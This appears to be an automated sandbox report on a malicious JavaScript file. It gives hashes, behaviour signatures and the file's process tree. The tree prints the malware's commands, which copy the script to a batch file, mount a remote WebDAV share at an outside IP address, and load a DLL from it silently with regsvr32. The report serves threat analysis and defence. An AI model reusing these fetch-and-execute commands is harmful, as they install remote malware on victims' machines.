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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/07/2024, 05:58

General

  • Target

    2035815001653724469.js

  • Size

    5KB

  • MD5

    770f45a1e4733444a42eb7d7d3a87981

  • SHA1

    b6dc3b63d358eb911494ec3a6899ec1a34ca3a64

  • SHA256

    79f047e7fe22c18d409498ea601c2dac3022d58e8539636d36b94f70e1a82ec7

  • SHA512

    dcc59b0944f1117efdc1510fa36e71e039532a143276a69673b36a2c4724aa1408d754bbd64ac4bcff85a1807e808e4c4f1f683c00e8667e42855b0569984ec3

  • SSDEEP

    96:O4CeNKhGUpMeEpMkjozmDpZPqY/6mlhsmlA2pmlh1QMOm5k2MOmE:ZKFW7hwCRmPBkHc

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2035815001653724469.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5004
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2035815001653724469.js" "C:\Users\Admin\\wqhjmm.bat" && "C:\Users\Admin\\wqhjmm.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3800
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\701.dll
          3⤵
            PID:3220

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\wqhjmm.bat

        Filesize

        5KB

        MD5

        770f45a1e4733444a42eb7d7d3a87981

        SHA1

        b6dc3b63d358eb911494ec3a6899ec1a34ca3a64

        SHA256

        79f047e7fe22c18d409498ea601c2dac3022d58e8539636d36b94f70e1a82ec7

        SHA512

        dcc59b0944f1117efdc1510fa36e71e039532a143276a69673b36a2c4724aa1408d754bbd64ac4bcff85a1807e808e4c4f1f683c00e8667e42855b0569984ec3